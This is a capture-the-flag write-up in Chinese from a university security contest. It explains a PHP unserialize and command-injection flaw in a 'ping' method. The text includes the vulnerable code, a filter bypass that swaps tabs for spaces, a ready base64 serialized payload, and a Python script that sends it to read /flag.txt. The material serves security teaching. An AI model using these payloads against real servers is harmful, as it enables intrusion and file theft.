代码来自第六届防灾科技学院网络安全技能大赛,侵删。
获取Linux服务器根目录下的flag
/*home.php*/class home{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($host){ system("ping -c 2 $host"); } function waf($str){ $str=str_replace(' ','',$str); return $str; } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf(trim(mysql_escape_string($v))); } } }$a=@$_POST['a'];@unserialize(base64_decode($a));
该PHP文件只接收一个base64编码的POST参数,将其解码后会进行反序列化操作。
在进行反序列化操作时首先会触发__wakeup()魔术方法,该方法会过滤掉args参数中的空格。
在执行__wakeup()方法之后,会触发__construct()方法进行初始化,该方法没有可以利用的地方。
当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()魔术方法。该方法只允许执行类中的ping方法,并会将args的值作为ping方法host参数。
ping中存在可控参数$host,且调用了system函数,这里便可以作为一个利用点。可以构造一个特殊的payload:
ping -c 2 127.0.0.1|cat /flag.txt#不唯一
整理上面的思路可知,若想得到flag最终要构造出如下的args字符串:
127.0.0.1|cat /flag.txt
而waf等方法又过滤掉了空格,这里可以通过将空格换成Tab来绕过该限制。
同时还要注意method必须为ping。
这里得到了构造payload的最终PHP脚本:
class home{ private $method; private $args; } $a = new home("ping",array('127.0.0.1|cat /flag.txt')); $b = serialize($a); echo base64_encode($b);
payload
Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ==
发送payload得到flag
import requestsdata ={"a":"Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ=="}url = 'http://localhost/common/home.php'r = requests.post(url,data=data)print(r.text)#result:flag{glzjin_wants_a_girl_friend}